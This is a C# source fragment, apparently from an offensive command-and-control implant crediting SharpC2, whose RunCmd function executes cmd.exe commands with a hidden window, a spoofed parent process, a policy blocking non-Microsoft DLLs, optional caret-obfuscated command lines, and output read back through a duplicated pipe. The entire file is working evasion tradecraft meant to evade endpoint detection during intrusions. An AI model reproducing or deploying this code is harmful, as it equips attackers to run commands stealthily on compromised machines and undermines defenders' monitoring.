//public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref flags.SECURITY_ATTRIBUTES lpProcessAttributes, ref flags.SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref flags.STARTUPINFOEX lpStartupInfo, out flags.PROCESS_INFORMATION lpProcessInformation); public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref flags.SECURITY_ATTRIBUTES lpProcessAttributes, ref flags.SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, flags.ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref flags.STARTUPINFOEX lpStartupInfo, out flags.PROCESS_INFORMATION lpProcessInformation);
public static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref flags.SECURITY_ATTRIBUTES lpPipeAttributes, uint nSize);
public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, ref flags.SECURITY_ATTRIBUTES lpTokenAttributes, flags.SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, flags.TOKEN_TYPE TokenType, out IntPtr phNewToken);
public static string RunCmd(string[] arguments)
{
int parentId = SearchPID.SearchForPPID();
var args = arguments[1].Replace('+', ' ');
var caretedArg = "";
var lpCommandLine = "";
if (arguments[0] == "caretrun")
{
for (int i = 0; i < args.Length; i += 2)
{
caretedArg = args.Insert(i, "^");
args = caretedArg;
}
lpCommandLine = @"cmd.exe /c " + caretedArg;
}
else
{
lpCommandLine = @"cmd.exe /c " + args;
}
// STARTUPINFOEX members
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
// STARTUPINFO members (dwFlags and wShowWindow)
const int STARTF_USESTDHANDLES = 0x00000100;
const int STARTF_USESHOWWINDOW = 0x00000001;
const ushort SW_HIDE = 0x0000;
const uint DUPLICATE_CLOSE_SOURCE = 0x00000001;
const uint DUPLICATE_SAME_ACCESS = 0x00000002;
// Mitigation Policy
const long BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000;
const int PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x00020007;
var blockMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size);
var result = string.Empty;
var saHandles = new flags.SECURITY_ATTRIBUTES();
saHandles.nLength = Marshal.SizeOf(saHandles);
saHandles.bInheritHandle = true;
saHandles.lpSecurityDescriptor = IntPtr.Zero;
IntPtr hStdOutRead;
IntPtr hStdOutWrite;
var hDupStdOutWrite = IntPtr.Zero;
Interop.CreatePipe(out hStdOutRead, out hStdOutWrite, ref saHandles, 0);
Interop.SetHandleInformation(hStdOutRead, flags.HANDLE_FLAGS.INHERIT, 0);
var pInfo = new flags.PROCESS_INFORMATION();
var siEx = new flags.STARTUPINFOEX();
siEx.StartupInfo.cb = Marshal.SizeOf(siEx);
var lpValueProc = IntPtr.Zero;
siEx.StartupInfo.hStdError = hStdOutWrite;
siEx.StartupInfo.hStdOutput = hStdOutWrite;
try
{
var lpSize = IntPtr.Zero;
Interop.InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize);
siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
Interop.InitializeProcThreadAttributeList(siEx.lpAttributeList, 2, 0, ref lpSize);
if (IntPtr.Size == 4)
{
Marshal.WriteIntPtr(blockMitigationPolicy, IntPtr.Zero);
}
else
{
Marshal.WriteIntPtr(blockMitigationPolicy, new IntPtr((long)BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON));
}
Interop.UpdateProcThreadAttribute(siEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, blockMitigationPolicy, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);
var parentHandle = Interop.OpenProcess(flags.ProcessAccessRights.CreateProcess | flags.ProcessAccessRights.DuplicateHandle, false, parentId);
lpValueProc = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValueProc, parentHandle);
Interop.UpdateProcThreadAttribute(
siEx.lpAttributeList,
0,
(IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
lpValueProc,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero);
var hCurrent = Process.GetCurrentProcess().Handle;
var hNewParent = Interop.OpenProcess(flags.ProcessAccessRights.DuplicateHandle, true, parentId);
Interop.DuplicateHandle(hCurrent, hStdOutWrite, hNewParent, ref hDupStdOutWrite, 0, true, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS);
siEx.StartupInfo.hStdError = hDupStdOutWrite;
siEx.StartupInfo.hStdOutput = hDupStdOutWrite;
siEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
siEx.StartupInfo.wShowWindow = SW_HIDE;
var ps = new flags.SECURITY_ATTRIBUTES();
var ts = new flags.SECURITY_ATTRIBUTES();
ps.nLength = Marshal.SizeOf(ps);
ts.nLength = Marshal.SizeOf(ts);
Interop.CreateProcess(null, lpCommandLine, ref ps, ref ts, true, flags.ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT | flags.ProcessCreationFlags.CREATE_NO_WINDOW, IntPtr.Zero, null, ref siEx, out pInfo);
// Credits to SharpC2 - https://raw.githubusercontent.com/SharpC2/SharpC2/dev/AgentModules/StageOne/Execution/LocalExecution.cs
var safeHandle = new SafeFileHandle(hStdOutRead, false);
var encoding = Encoding.GetEncoding(Interop.GetConsoleOutputCP());
var reader = new StreamReader(new FileStream(safeHandle, FileAccess.Read, 4096, false), encoding, true);
var exit = false;
try
{
do
{
if (Interop.WaitForSingleObject(pInfo.hProcess, 100) == 0)
{
exit = true;
}
char[] buf = null;
int bytesRead;
uint bytesToRead = 0;
var peekRet = Interop.PeekNamedPipe(hStdOutRead, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref bytesToRead, IntPtr.Zero);
if (peekRet == true && bytesToRead == 0)
{
if (exit == true)
{
break;
}
else
{
continue;
}
}
if (bytesToRead > 4096)
{
bytesToRead = 4096;
}
buf = new char[bytesToRead];
bytesRead = reader.Read(buf, 0, buf.Length);
if (bytesRead > 0)
{
result += new string(buf);
}
} while (true);
reader.Close();
}
catch (Exception e) { Console.WriteLine(e.Message); }
finally
{
if (!safeHandle.IsClosed)
{
safeHandle.Close();
}
if (hStdOutRead != IntPtr.Zero)
{
Interop.CloseHandle(hStdOutRead);
}
}
}
catch (Exception e) { Console.WriteLine(e.Message); }
finally
{
if (siEx.lpAttributeList != IntPtr.Zero)
{
Interop.DeleteProcThreadAttributeList(siEx.lpAttributeList);
Marshal.FreeHGlobal(siEx.lpAttributeList);
}
Marshal.FreeHGlobal(lpValueProc);
if (pInfo.hProcess != IntPtr.Zero)
{
Interop.CloseHandle(pInfo.hProcess);
}
if (pInfo.hThread != IntPtr.Zero)
{
Interop.CloseHandle(pInfo.hThread);
}
}
return(result);
}
